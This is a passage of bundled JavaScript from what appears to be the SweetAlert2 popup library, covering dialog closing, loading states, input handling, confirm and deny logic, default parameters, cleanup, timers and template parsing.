  1692. if (typeof innerParams.willClose === "function") {
  1693. innerParams.willClose(popup);
  1694. }
  1695. if (animationIsSupported) {
  1696. animatePopup(instance, popup, container, innerParams.returnFocus, innerParams.didClose);
  1697. } else {
  1698. removePopupAndResetState(instance, container, innerParams.returnFocus, innerParams.didClose);
  1699. }
  1700. };
  1701. const animatePopup = (instance, popup, container, returnFocus, didClose) => {
  1702. globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, returnFocus, didClose);
  1703. popup.addEventListener(animationEndEvent, function(e) {
  1704. if (e.target === popup) {
  1705. globalState.swalCloseEventFinishedCallback();
  1706. delete globalState.swalCloseEventFinishedCallback;
  1707. }
  1708. });
  1709. };
  1710. const triggerDidCloseAndDispose = (instance, didClose) => {
  1711. setTimeout(() => {
  1712. if (typeof didClose === "function") {
  1713. didClose.bind(instance.params)();
  1714. }
  1715. if (instance._destroy) {
  1716. instance._destroy();
  1717. }
  1718. });
  1719. };
  1720. const showLoading = (buttonToReplace) => {
  1721. let popup = getPopup();
  1722. if (!popup) {
  1723. new Swal3();
  1724. }
  1725. popup = getPopup();
  1726. const loader = getLoader();
  1727. if (isToast()) {
  1728. hide(getIcon());
  1729. } else {
  1730. replaceButton(popup, buttonToReplace);
  1731. }
  1732. show(loader);
  1733. popup.setAttribute("data-loading", "true");
  1734. popup.setAttribute("aria-busy", "true");
  1735. popup.focus();
  1736. };
  1737. const replaceButton = (popup, buttonToReplace) => {
  1738. const actions = getActions();
  1739. const loader = getLoader();
  1740. if (!buttonToReplace && isVisible$1(getConfirmButton())) {
  1741. buttonToReplace = getConfirmButton();
  1742. }
  1743. show(actions);
  1744. if (buttonToReplace) {
  1745. hide(buttonToReplace);
  1746. loader.setAttribute("data-button-to-replace", buttonToReplace.className);
  1747. }
  1748. loader.parentNode.insertBefore(loader, buttonToReplace);
  1749. addClass([popup, actions], swalClasses.loading);
  1750. };
  1751. const handleInputOptionsAndValue = (instance, params) => {
  1752. if (params.input === "select" || params.input === "radio") {
  1753. handleInputOptions(instance, params);
  1754. } else if (["text", "email", "number", "tel", "textarea"].includes(params.input) && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
  1755. showLoading(getConfirmButton());
  1756. handleInputValue(instance, params);
  1757. }
  1758. };
  1759. const getInputValue = (instance, innerParams) => {
  1760. const input = instance.getInput();
  1761. if (!input) {
  1762. return null;
  1763. }
  1764. switch (innerParams.input) {
  1765. case "checkbox":
  1766. return getCheckboxValue(input);
  1767. case "radio":
  1768. return getRadioValue(input);
  1769. case "file":
  1770. return getFileValue(input);
  1771. default:
  1772. return innerParams.inputAutoTrim ? input.value.trim() : input.value;
  1773. }
  1774. };
  1775. const getCheckboxValue = (input) => input.checked ? 1 : 0;
  1776. const getRadioValue = (input) => input.checked ? input.value : null;
  1777. const getFileValue = (input) => input.files.length ? input.getAttribute("multiple") !== null ? input.files : input.files[0] : null;
  1778. const handleInputOptions = (instance, params) => {
  1779. const popup = getPopup();
  1780. const processInputOptions = (inputOptions) => {
  1781. populateInputOptions[params.input](popup, formatInputOptions(inputOptions), params);
  1782. };
  1783. if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
  1784. showLoading(getConfirmButton());
  1785. asPromise(params.inputOptions).then((inputOptions) => {
  1786. instance.hideLoading();
  1787. processInputOptions(inputOptions);
  1788. });
  1789. } else if (typeof params.inputOptions === "object") {
  1790. processInputOptions(params.inputOptions);
  1791. } else {
  1792. error(`Unexpected type of inputOptions! Expected object, Map or Promise, got ${typeof params.inputOptions}`);
  1793. }
  1794. };
  1795. const handleInputValue = (instance, params) => {
  1796. const input = instance.getInput();
  1797. hide(input);
  1798. asPromise(params.inputValue).then((inputValue) => {
  1799. input.value = params.input === "number" ? `${parseFloat(inputValue) || 0}` : `${inputValue}`;
  1800. show(input);
  1801. input.focus();
  1802. instance.hideLoading();
  1803. }).catch((err) => {
  1804. error(`Error in inputValue promise: ${err}`);
  1805. input.value = "";
  1806. show(input);
  1807. input.focus();
  1808. instance.hideLoading();
  1809. });
  1810. };
  1811. const populateInputOptions = {
  1812. /**
  1813. * @param {HTMLElement} popup
  1814. * @param {Record<string, any>} inputOptions
  1815. * @param {SweetAlertOptions} params
  1816. */
  1817. select: (popup, inputOptions, params) => {
  1818. const select = getDirectChildByClass(popup, swalClasses.select);
  1819. const renderOption = (parent, optionLabel, optionValue) => {
  1820. const option = document.createElement("option");
  1821. option.value = optionValue;
  1822. setInnerHtml(option, optionLabel);
  1823. option.selected = isSelected(optionValue, params.inputValue);
  1824. parent.appendChild(option);
  1825. };
  1826. inputOptions.forEach((inputOption) => {
  1827. const optionValue = inputOption[0];
  1828. const optionLabel = inputOption[1];
  1829. if (Array.isArray(optionLabel)) {
  1830. const optgroup = document.createElement("optgroup");
  1831. optgroup.label = optionValue;
  1832. optgroup.disabled = false;
  1833. select.appendChild(optgroup);
  1834. optionLabel.forEach((o) => renderOption(optgroup, o[1], o[0]));
  1835. } else {
  1836. renderOption(select, optionLabel, optionValue);
  1837. }
  1838. });
  1839. select.focus();
  1840. },
  1841. /**
  1842. * @param {HTMLElement} popup
  1843. * @param {Record<string, any>} inputOptions
  1844. * @param {SweetAlertOptions} params
  1845. */
  1846. radio: (popup, inputOptions, params) => {
  1847. const radio = getDirectChildByClass(popup, swalClasses.radio);
  1848. inputOptions.forEach((inputOption) => {
  1849. const radioValue = inputOption[0];
  1850. const radioLabel = inputOption[1];
  1851. const radioInput = document.createElement("input");
  1852. const radioLabelElement = document.createElement("label");
  1853. radioInput.type = "radio";
  1854. radioInput.name = swalClasses.radio;
  1855. radioInput.value = radioValue;
  1856. if (isSelected(radioValue, params.inputValue)) {
  1857. radioInput.checked = true;
  1858. }
  1859. const label = document.createElement("span");
  1860. setInnerHtml(label, radioLabel);
  1861. label.className = swalClasses.label;
  1862. radioLabelElement.appendChild(radioInput);
  1863. radioLabelElement.appendChild(label);
  1864. radio.appendChild(radioLabelElement);
  1865. });
  1866. const radios = radio.querySelectorAll("input");
  1867. if (radios.length) {
  1868. radios[0].focus();
  1869. }
  1870. }
  1871. };
  1872. const formatInputOptions = (inputOptions) => {
  1873. const result = [];
  1874. if (typeof Map !== "undefined" && inputOptions instanceof Map) {
  1875. inputOptions.forEach((value, key) => {
  1876. let valueFormatted = value;
  1877. if (typeof valueFormatted === "object") {
  1878. valueFormatted = formatInputOptions(valueFormatted);
  1879. }
  1880. result.push([key, valueFormatted]);
  1881. });
  1882. } else {
  1883. Object.keys(inputOptions).forEach((key) => {
  1884. let valueFormatted = inputOptions[key];
  1885. if (typeof valueFormatted === "object") {
  1886. valueFormatted = formatInputOptions(valueFormatted);
  1887. }
  1888. result.push([key, valueFormatted]);
  1889. });
  1890. }
  1891. return result;
  1892. };
  1893. const isSelected = (optionValue, inputValue) => {
  1894. return inputValue && inputValue.toString() === optionValue.toString();
  1895. };
  1896. const handleConfirmButtonClick = (instance) => {
  1897. const innerParams = privateProps.innerParams.get(instance);
  1898. instance.disableButtons();
  1899. if (innerParams.input) {
  1900. handleConfirmOrDenyWithInput(instance, "confirm");
  1901. } else {
  1902. confirm(instance, true);
  1903. }
  1904. };
  1905. const handleDenyButtonClick = (instance) => {
  1906. const innerParams = privateProps.innerParams.get(instance);
  1907. instance.disableButtons();
  1908. if (innerParams.returnInputValueOnDeny) {
  1909. handleConfirmOrDenyWithInput(instance, "deny");
  1910. } else {
  1911. deny(instance, false);
  1912. }
  1913. };
  1914. const handleCancelButtonClick = (instance, dismissWith) => {
  1915. instance.disableButtons();
  1916. dismissWith(DismissReason.cancel);
  1917. };
  1918. const handleConfirmOrDenyWithInput = (instance, type) => {
  1919. const innerParams = privateProps.innerParams.get(instance);
  1920. if (!innerParams.input) {
  1921. error(`The "input" parameter is needed to be set when using returnInputValueOn${capitalizeFirstLetter(type)}`);
  1922. return;
  1923. }
  1924. const inputValue = getInputValue(instance, innerParams);
  1925. if (innerParams.inputValidator) {
  1926. handleInputValidator(instance, inputValue, type);
  1927. } else if (!instance.getInput().checkValidity()) {
  1928. instance.enableButtons();
  1929. instance.showValidationMessage(innerParams.validationMessage);
  1930. } else if (type === "deny") {
  1931. deny(instance, inputValue);
  1932. } else {
  1933. confirm(instance, inputValue);
  1934. }
  1935. };
  1936. const handleInputValidator = (instance, inputValue, type) => {
  1937. const innerParams = privateProps.innerParams.get(instance);
  1938. instance.disableInput();
  1939. const validationPromise = Promise.resolve().then(() => asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)));
  1940. validationPromise.then((validationMessage) => {
  1941. instance.enableButtons();
  1942. instance.enableInput();
  1943. if (validationMessage) {
  1944. instance.showValidationMessage(validationMessage);
  1945. } else if (type === "deny") {
  1946. deny(instance, inputValue);
  1947. } else {
  1948. confirm(instance, inputValue);
  1949. }
  1950. });
  1951. };
  1952. const deny = (instance, value) => {
  1953. const innerParams = privateProps.innerParams.get(instance || void 0);
  1954. if (innerParams.showLoaderOnDeny) {
  1955. showLoading(getDenyButton());
  1956. }
  1957. if (innerParams.preDeny) {
  1958. instance.isAwaitingPromise = true;
  1959. const preDenyPromise = Promise.resolve().then(() => asPromise(innerParams.preDeny(value, innerParams.validationMessage)));
  1960. preDenyPromise.then((preDenyValue) => {
  1961. if (preDenyValue === false) {
  1962. instance.hideLoading();
  1963. handleAwaitingPromise(instance);
  1964. } else {
  1965. instance.close({
  1966. isDenied: true,
  1967. value: typeof preDenyValue === "undefined" ? value : preDenyValue
  1968. });
  1969. }
  1970. }).catch((error2) => rejectWith(instance || void 0, error2));
  1971. } else {
  1972. instance.close({
  1973. isDenied: true,
  1974. value
  1975. });
  1976. }
  1977. };
  1978. const succeedWith = (instance, value) => {
  1979. instance.close({
  1980. isConfirmed: true,
  1981. value
  1982. });
  1983. };
  1984. const rejectWith = (instance, error2) => {
  1985. instance.rejectPromise(error2);
  1986. };
  1987. const confirm = (instance, value) => {
  1988. const innerParams = privateProps.innerParams.get(instance || void 0);
  1989. if (innerParams.showLoaderOnConfirm) {
  1990. showLoading();
  1991. }
  1992. if (innerParams.preConfirm) {
  1993. instance.resetValidationMessage();
  1994. instance.isAwaitingPromise = true;
  1995. const preConfirmPromise = Promise.resolve().then(() => asPromise(innerParams.preConfirm(value, innerParams.validationMessage)));
  1996. preConfirmPromise.then((preConfirmValue) => {
  1997. if (isVisible$1(getValidationMessage()) || preConfirmValue === false) {
  1998. instance.hideLoading();
  1999. handleAwaitingPromise(instance);
  2000. } else {
  2001. succeedWith(instance, typeof preConfirmValue === "undefined" ? value : preConfirmValue);
  2002. }
  2003. }).catch((error2) => rejectWith(instance || void 0, error2));
  2004. } else {
  2005. succeedWith(instance, value);
  2006. }
  2007. };
  2008. function hideLoading() {
  2009. const innerParams = privateProps.innerParams.get(this);
  2010. if (!innerParams) {
  2011. return;
  2012. }
  2013. const domCache = privateProps.domCache.get(this);
  2014. hide(domCache.loader);
  2015. if (isToast()) {
  2016. if (innerParams.icon) {
  2017. show(getIcon());
  2018. }
  2019. } else {
  2020. showRelatedButton(domCache);
  2021. }
  2022. removeClass([domCache.popup, domCache.actions], swalClasses.loading);
  2023. domCache.popup.removeAttribute("aria-busy");
  2024. domCache.popup.removeAttribute("data-loading");
  2025. domCache.confirmButton.disabled = false;
  2026. domCache.denyButton.disabled = false;
  2027. domCache.cancelButton.disabled = false;
  2028. }
  2029. const showRelatedButton = (domCache) => {
  2030. const buttonToReplace = domCache.popup.getElementsByClassName(domCache.loader.getAttribute("data-button-to-replace"));
  2031. if (buttonToReplace.length) {
  2032. show(buttonToReplace[0], "inline-block");
  2033. } else if (allButtonsAreHidden()) {
  2034. hide(domCache.actions);
  2035. }
  2036. };
  2037. function getInput() {
  2038. const innerParams = privateProps.innerParams.get(this);
  2039. const domCache = privateProps.domCache.get(this);
  2040. if (!domCache) {
  2041. return null;
  2042. }
  2043. return getInput$1(domCache.popup, innerParams.input);
  2044. }
  2045. function setButtonsDisabled(instance, buttons, disabled) {
  2046. const domCache = privateProps.domCache.get(instance);
  2047. buttons.forEach((button) => {
  2048. domCache[button].disabled = disabled;
  2049. });
  2050. }
  2051. function setInputDisabled(input, disabled) {
  2052. if (!input) {
  2053. return;
  2054. }
  2055. if (input.type === "radio") {
  2056. const radiosContainer = input.parentNode.parentNode;
  2057. const radios = radiosContainer.querySelectorAll("input");
  2058. for (let i = 0; i < radios.length; i++) {
  2059. radios[i].disabled = disabled;
  2060. }
  2061. } else {
  2062. input.disabled = disabled;
  2063. }
  2064. }
  2065. function enableButtons() {
  2066. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], false);
  2067. }
  2068. function disableButtons() {
  2069. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], true);
  2070. }
  2071. function enableInput() {
  2072. setInputDisabled(this.getInput(), false);
  2073. }
  2074. function disableInput() {
  2075. setInputDisabled(this.getInput(), true);
  2076. }
  2077. function showValidationMessage(error2) {
  2078. const domCache = privateProps.domCache.get(this);
  2079. const params = privateProps.innerParams.get(this);
  2080. setInnerHtml(domCache.validationMessage, error2);
  2081. domCache.validationMessage.className = swalClasses["validation-message"];
  2082. if (params.customClass && params.customClass.validationMessage) {
  2083. addClass(domCache.validationMessage, params.customClass.validationMessage);
  2084. }
  2085. show(domCache.validationMessage);
  2086. const input = this.getInput();
  2087. if (input) {
  2088. input.setAttribute("aria-invalid", true);
  2089. input.setAttribute("aria-describedby", swalClasses["validation-message"]);
  2090. focusInput(input);
  2091. addClass(input, swalClasses.inputerror);
  2092. }
  2093. }
  2094. function resetValidationMessage() {
  2095. const domCache = privateProps.domCache.get(this);
  2096. if (domCache.validationMessage) {
  2097. hide(domCache.validationMessage);
  2098. }
  2099. const input = this.getInput();
  2100. if (input) {
  2101. input.removeAttribute("aria-invalid");
  2102. input.removeAttribute("aria-describedby");
  2103. removeClass(input, swalClasses.inputerror);
  2104. }
  2105. }
  2106. const defaultParams = {
  2107. title: "",
  2108. titleText: "",
  2109. text: "",
  2110. html: "",
  2111. footer: "",
  2112. icon: void 0,
  2113. iconColor: void 0,
  2114. iconHtml: void 0,
  2115. template: void 0,
  2116. toast: false,
  2117. showClass: {
  2118. popup: "swal2-show",
  2119. backdrop: "swal2-backdrop-show",
  2120. icon: "swal2-icon-show"
  2121. },
  2122. hideClass: {
  2123. popup: "swal2-hide",
  2124. backdrop: "swal2-backdrop-hide",
  2125. icon: "swal2-icon-hide"
  2126. },
  2127. customClass: {},
  2128. target: "body",
  2129. color: void 0,
  2130. backdrop: true,
  2131. heightAuto: true,
  2132. allowOutsideClick: true,
  2133. allowEscapeKey: true,
  2134. allowEnterKey: true,
  2135. stopKeydownPropagation: true,
  2136. keydownListenerCapture: false,
  2137. showConfirmButton: true,
  2138. showDenyButton: false,
  2139. showCancelButton: false,
  2140. preConfirm: void 0,
  2141. preDeny: void 0,
  2142. confirmButtonText: "OK",
  2143. confirmButtonAriaLabel: "",
  2144. confirmButtonColor: void 0,
  2145. denyButtonText: "No",
  2146. denyButtonAriaLabel: "",
  2147. denyButtonColor: void 0,
  2148. cancelButtonText: "Cancel",
  2149. cancelButtonAriaLabel: "",
  2150. cancelButtonColor: void 0,
  2151. buttonsStyling: true,
  2152. reverseButtons: false,
  2153. focusConfirm: true,
  2154. focusDeny: false,
  2155. focusCancel: false,
  2156. returnFocus: true,
  2157. showCloseButton: false,
  2158. closeButtonHtml: "&times;",
  2159. closeButtonAriaLabel: "Close this dialog",
  2160. loaderHtml: "",
  2161. showLoaderOnConfirm: false,
  2162. showLoaderOnDeny: false,
  2163. imageUrl: void 0,
  2164. imageWidth: void 0,
  2165. imageHeight: void 0,
  2166. imageAlt: "",
  2167. timer: void 0,
  2168. timerProgressBar: false,
  2169. width: void 0,
  2170. padding: void 0,
  2171. background: void 0,
  2172. input: void 0,
  2173. inputPlaceholder: "",
  2174. inputLabel: "",
  2175. inputValue: "",
  2176. inputOptions: {},
  2177. inputAutoFocus: true,
  2178. inputAutoTrim: true,
  2179. inputAttributes: {},
  2180. inputValidator: void 0,
  2181. returnInputValueOnDeny: false,
  2182. validationMessage: void 0,
  2183. grow: false,
  2184. position: "center",
  2185. progressSteps: [],
  2186. currentProgressStep: void 0,
  2187. progressStepsDistance: void 0,
  2188. willOpen: void 0,
  2189. didOpen: void 0,
  2190. didRender: void 0,
  2191. willClose: void 0,
  2192. didClose: void 0,
  2193. didDestroy: void 0,
  2194. scrollbarPadding: true
  2195. };
  2196. const updatableParams = ["allowEscapeKey", "allowOutsideClick", "background", "buttonsStyling", "cancelButtonAriaLabel", "cancelButtonColor", "cancelButtonText", "closeButtonAriaLabel", "closeButtonHtml", "color", "confirmButtonAriaLabel", "confirmButtonColor", "confirmButtonText", "currentProgressStep", "customClass", "denyButtonAriaLabel", "denyButtonColor", "denyButtonText", "didClose", "didDestroy", "footer", "hideClass", "html", "icon", "iconColor", "iconHtml", "imageAlt", "imageHeight", "imageUrl", "imageWidth", "preConfirm", "preDeny", "progressSteps", "returnFocus", "reverseButtons", "showCancelButton", "showCloseButton", "showConfirmButton", "showDenyButton", "text", "title", "titleText", "willClose"];
  2197. const deprecatedParams = {};
  2198. const toastIncompatibleParams = ["allowOutsideClick", "allowEnterKey", "backdrop", "focusConfirm", "focusDeny", "focusCancel", "returnFocus", "heightAuto", "keydownListenerCapture"];
  2199. const isValidParameter = (paramName) => {
  2200. return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
  2201. };
  2202. const isUpdatableParameter = (paramName) => {
  2203. return updatableParams.indexOf(paramName) !== -1;
  2204. };
  2205. const isDeprecatedParameter = (paramName) => {
  2206. return deprecatedParams[paramName];
  2207. };
  2208. const checkIfParamIsValid = (param) => {
  2209. if (!isValidParameter(param)) {
  2210. warn(`Unknown parameter "${param}"`);
  2211. }
  2212. };
  2213. const checkIfToastParamIsValid = (param) => {
  2214. if (toastIncompatibleParams.includes(param)) {
  2215. warn(`The parameter "${param}" is incompatible with toasts`);
  2216. }
  2217. };
  2218. const checkIfParamIsDeprecated = (param) => {
  2219. const isDeprecated = isDeprecatedParameter(param);
  2220. if (isDeprecated) {
  2221. warnAboutDeprecation(param, isDeprecated);
  2222. }
  2223. };
  2224. const showWarningsForParams = (params) => {
  2225. if (params.backdrop === false && params.allowOutsideClick) {
  2226. warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
  2227. }
  2228. for (const param in params) {
  2229. checkIfParamIsValid(param);
  2230. if (params.toast) {
  2231. checkIfToastParamIsValid(param);
  2232. }
  2233. checkIfParamIsDeprecated(param);
  2234. }
  2235. };
  2236. function update(params) {
  2237. const popup = getPopup();
  2238. const innerParams = privateProps.innerParams.get(this);
  2239. if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
  2240. warn(`You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.`);
  2241. return;
  2242. }
  2243. const validUpdatableParams = filterValidParams(params);
  2244. const updatedParams = Object.assign({}, innerParams, validUpdatableParams);
  2245. render(this, updatedParams);
  2246. privateProps.innerParams.set(this, updatedParams);
  2247. Object.defineProperties(this, {
  2248. params: {
  2249. value: Object.assign({}, this.params, params),
  2250. writable: false,
  2251. enumerable: true
  2252. }
  2253. });
  2254. }
  2255. const filterValidParams = (params) => {
  2256. const validUpdatableParams = {};
  2257. Object.keys(params).forEach((param) => {
  2258. if (isUpdatableParameter(param)) {
  2259. validUpdatableParams[param] = params[param];
  2260. } else {
  2261. warn(`Invalid parameter to update: ${param}`);
  2262. }
  2263. });
  2264. return validUpdatableParams;
  2265. };
  2266. function _destroy() {
  2267. const domCache = privateProps.domCache.get(this);
  2268. const innerParams = privateProps.innerParams.get(this);
  2269. if (!innerParams) {
  2270. disposeWeakMaps(this);
  2271. return;
  2272. }
  2273. if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
  2274. globalState.swalCloseEventFinishedCallback();
  2275. delete globalState.swalCloseEventFinishedCallback;
  2276. }
  2277. if (typeof innerParams.didDestroy === "function") {
  2278. innerParams.didDestroy();
  2279. }
  2280. disposeSwal(this);
  2281. }
  2282. const disposeSwal = (instance) => {
  2283. disposeWeakMaps(instance);
  2284. delete instance.params;
  2285. delete globalState.keydownHandler;
  2286. delete globalState.keydownTarget;
  2287. delete globalState.currentInstance;
  2288. };
  2289. const disposeWeakMaps = (instance) => {
  2290. if (instance.isAwaitingPromise) {
  2291. unsetWeakMaps(privateProps, instance);
  2292. instance.isAwaitingPromise = true;
  2293. } else {
  2294. unsetWeakMaps(privateMethods, instance);
  2295. unsetWeakMaps(privateProps, instance);
  2296. delete instance.isAwaitingPromise;
  2297. delete instance.disableButtons;
  2298. delete instance.enableButtons;
  2299. delete instance.getInput;
  2300. delete instance.disableInput;
  2301. delete instance.enableInput;
  2302. delete instance.hideLoading;
  2303. delete instance.disableLoading;
  2304. delete instance.showValidationMessage;
  2305. delete instance.resetValidationMessage;
  2306. delete instance.close;
  2307. delete instance.closePopup;
  2308. delete instance.closeModal;
  2309. delete instance.closeToast;
  2310. delete instance.rejectPromise;
  2311. delete instance.update;
  2312. delete instance._destroy;
  2313. }
  2314. };
  2315. const unsetWeakMaps = (obj, instance) => {
  2316. for (const i in obj) {
  2317. obj[i].delete(instance);
  2318. }
  2319. };
  2320. var instanceMethods = /* @__PURE__ */ Object.freeze({
  2321. __proto__: null,
  2322. _destroy,
  2323. close,
  2324. closeModal: close,
  2325. closePopup: close,
  2326. closeToast: close,
  2327. disableButtons,
  2328. disableInput,
  2329. disableLoading: hideLoading,
  2330. enableButtons,
  2331. enableInput,
  2332. getInput,
  2333. handleAwaitingPromise,
  2334. hideLoading,
  2335. rejectPromise,
  2336. resetValidationMessage,
  2337. showValidationMessage,
  2338. update
  2339. });
  2340. const handlePopupClick = (instance, domCache, dismissWith) => {
  2341. const innerParams = privateProps.innerParams.get(instance);
  2342. if (innerParams.toast) {
  2343. handleToastClick(instance, domCache, dismissWith);
  2344. } else {
  2345. handleModalMousedown(domCache);
  2346. handleContainerMousedown(domCache);
  2347. handleModalClick(instance, domCache, dismissWith);
  2348. }
  2349. };
  2350. const handleToastClick = (instance, domCache, dismissWith) => {
  2351. domCache.popup.onclick = () => {
  2352. const innerParams = privateProps.innerParams.get(instance);
  2353. if (innerParams && (isAnyButtonShown(innerParams) || innerParams.timer || innerParams.input)) {
  2354. return;
  2355. }
  2356. dismissWith(DismissReason.close);
  2357. };
  2358. };
  2359. const isAnyButtonShown = (innerParams) => {
  2360. return innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton;
  2361. };
  2362. let ignoreOutsideClick = false;
  2363. const handleModalMousedown = (domCache) => {
  2364. domCache.popup.onmousedown = () => {
  2365. domCache.container.onmouseup = function(e) {
  2366. domCache.container.onmouseup = void 0;
  2367. if (e.target === domCache.container) {
  2368. ignoreOutsideClick = true;
  2369. }
  2370. };
  2371. };
  2372. };
  2373. const handleContainerMousedown = (domCache) => {
  2374. domCache.container.onmousedown = () => {
  2375. domCache.popup.onmouseup = function(e) {
  2376. domCache.popup.onmouseup = void 0;
  2377. if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
  2378. ignoreOutsideClick = true;
  2379. }
  2380. };
  2381. };
  2382. };
  2383. const handleModalClick = (instance, domCache, dismissWith) => {
  2384. domCache.container.onclick = (e) => {
  2385. const innerParams = privateProps.innerParams.get(instance);
  2386. if (ignoreOutsideClick) {
  2387. ignoreOutsideClick = false;
  2388. return;
  2389. }
  2390. if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
  2391. dismissWith(DismissReason.backdrop);
  2392. }
  2393. };
  2394. };
  2395. const isJqueryElement = (elem) => typeof elem === "object" && elem.jquery;
  2396. const isElement = (elem) => elem instanceof Element || isJqueryElement(elem);
  2397. const argsToParams = (args) => {
  2398. const params = {};
  2399. if (typeof args[0] === "object" && !isElement(args[0])) {
  2400. Object.assign(params, args[0]);
  2401. } else {
  2402. ["title", "html", "icon"].forEach((name, index) => {
  2403. const arg = args[index];
  2404. if (typeof arg === "string" || isElement(arg)) {
  2405. params[name] = arg;
  2406. } else if (arg !== void 0) {
  2407. error(`Unexpected type of ${name}! Expected "string" or "Element", got ${typeof arg}`);
  2408. }
  2409. });
  2410. }
  2411. return params;
  2412. };
  2413. function fire() {
  2414. const Swal4 = this;
  2415. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  2416. args[_key] = arguments[_key];
  2417. }
  2418. return new Swal4(...args);
  2419. }
  2420. function mixin(mixinParams) {
  2421. class MixinSwal extends this {
  2422. _main(params, priorityMixinParams) {
  2423. return super._main(params, Object.assign({}, mixinParams, priorityMixinParams));
  2424. }
  2425. }
  2426. return MixinSwal;
  2427. }
  2428. const getTimerLeft = () => {
  2429. return globalState.timeout && globalState.timeout.getTimerLeft();
  2430. };
  2431. const stopTimer = () => {
  2432. if (globalState.timeout) {
  2433. stopTimerProgressBar();
  2434. return globalState.timeout.stop();
  2435. }
  2436. };
  2437. const resumeTimer = () => {
  2438. if (globalState.timeout) {
  2439. const remaining = globalState.timeout.start();
  2440. animateTimerProgressBar(remaining);
  2441. return remaining;
  2442. }
  2443. };
  2444. const toggleTimer = () => {
  2445. const timer = globalState.timeout;
  2446. return timer && (timer.running ? stopTimer() : resumeTimer());
  2447. };
  2448. const increaseTimer = (n) => {
  2449. if (globalState.timeout) {
  2450. const remaining = globalState.timeout.increase(n);
  2451. animateTimerProgressBar(remaining, true);
  2452. return remaining;
  2453. }
  2454. };
  2455. const isTimerRunning = () => {
  2456. return !!(globalState.timeout && globalState.timeout.isRunning());
  2457. };
  2458. let bodyClickListenerAdded = false;
  2459. const clickHandlers = {};
  2460. function bindClickHandler() {
  2461. let attr = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : "data-swal-template";
  2462. clickHandlers[attr] = this;
  2463. if (!bodyClickListenerAdded) {
  2464. document.body.addEventListener("click", bodyClickListener);
  2465. bodyClickListenerAdded = true;
  2466. }
  2467. }
  2468. const bodyClickListener = (event) => {
  2469. for (let el = event.target; el && el !== document; el = el.parentNode) {
  2470. for (const attr in clickHandlers) {
  2471. const template = el.getAttribute(attr);
  2472. if (template) {
  2473. clickHandlers[attr].fire({
  2474. template
  2475. });
  2476. return;
  2477. }
  2478. }
  2479. }
  2480. };
  2481. var staticMethods = /* @__PURE__ */ Object.freeze({
  2482. __proto__: null,
  2483. argsToParams,
  2484. bindClickHandler,
  2485. clickCancel,
  2486. clickConfirm,
  2487. clickDeny,
  2488. enableLoading: showLoading,
  2489. fire,
  2490. getActions,
  2491. getCancelButton,
  2492. getCloseButton,
  2493. getConfirmButton,
  2494. getContainer,
  2495. getDenyButton,
  2496. getFocusableElements,
  2497. getFooter,
  2498. getHtmlContainer,
  2499. getIcon,
  2500. getIconContent,
  2501. getImage,
  2502. getInputLabel,
  2503. getLoader,
  2504. getPopup,
  2505. getProgressSteps,
  2506. getTimerLeft,
  2507. getTimerProgressBar,
  2508. getTitle,
  2509. getValidationMessage,
  2510. increaseTimer,
  2511. isDeprecatedParameter,
  2512. isLoading,
  2513. isTimerRunning,
  2514. isUpdatableParameter,
  2515. isValidParameter,
  2516. isVisible,
  2517. mixin,
  2518. resumeTimer,
  2519. showLoading,
  2520. stopTimer,
  2521. toggleTimer
  2522. });
  2523. class Timer {
  2524. /**
  2525. * @param {Function} callback
  2526. * @param {number} delay
  2527. */
  2528. constructor(callback, delay) {
  2529. this.callback = callback;
  2530. this.remaining = delay;
  2531. this.running = false;
  2532. this.start();
  2533. }
  2534. /**
  2535. * @returns {number}
  2536. */
  2537. start() {
  2538. if (!this.running) {
  2539. this.running = true;
  2540. this.started = /* @__PURE__ */ new Date();
  2541. this.id = setTimeout(this.callback, this.remaining);
  2542. }
  2543. return this.remaining;
  2544. }
  2545. /**
  2546. * @returns {number}
  2547. */
  2548. stop() {
  2549. if (this.started && this.running) {
  2550. this.running = false;
  2551. clearTimeout(this.id);
  2552. this.remaining -= (/* @__PURE__ */ new Date()).getTime() - this.started.getTime();
  2553. }
  2554. return this.remaining;
  2555. }
  2556. /**
  2557. * @param {number} n
  2558. * @returns {number}
  2559. */
  2560. increase(n) {
  2561. const running = this.running;
  2562. if (running) {
  2563. this.stop();
  2564. }
  2565. this.remaining += n;
  2566. if (running) {
  2567. this.start();
  2568. }
  2569. return this.remaining;
  2570. }
  2571. /**
  2572. * @returns {number}
  2573. */
  2574. getTimerLeft() {
  2575. if (this.running) {
  2576. this.stop();
  2577. this.start();
  2578. }
  2579. return this.remaining;
  2580. }
  2581. /**
  2582. * @returns {boolean}
  2583. */
  2584. isRunning() {
  2585. return this.running;
  2586. }
  2587. }
  2588. const swalStringParams = ["swal-title", "swal-html", "swal-footer"];
  2589. const getTemplateParams = (params) => {
  2590. const template = typeof params.template === "string" ? document.querySelector(params.template) : params.template;
  2591. if (!template) {
  2592. return {};
  2593. }
  2594. const templateContent = template.content;
  2595. showWarningsForElements(templateContent);
  2596. const result = Object.assign(getSwalParams(templateContent), getSwalFunctionParams(templateContent), getSwalButtons(templateContent), getSwalImage(templateContent), getSwalIcon(templateContent), getSwalInput(templateContent), getSwalStringParams(templateContent, swalStringParams));
  2597. return result;
  2598. };
  2599. const getSwalParams = (templateContent) => {
  2600. const result = {};
  2601. const swalParams = Array.from(templateContent.querySelectorAll("swal-param"));
  2602. swalParams.forEach((param) => {
  2603. showWarningsForAttributes(param, ["name", "value"]);
  2604. const paramName = param.getAttribute("name");
  2605. const value = param.getAttribute("value");
  2606. if (typeof defaultParams[paramName] === "boolean") {
  2607. result[paramName] = value !== "false";
  2608. } else if (typeof defaultParams[paramName] === "object") {
  2609. result[paramName] = JSON.parse(value);
  2610. } else {
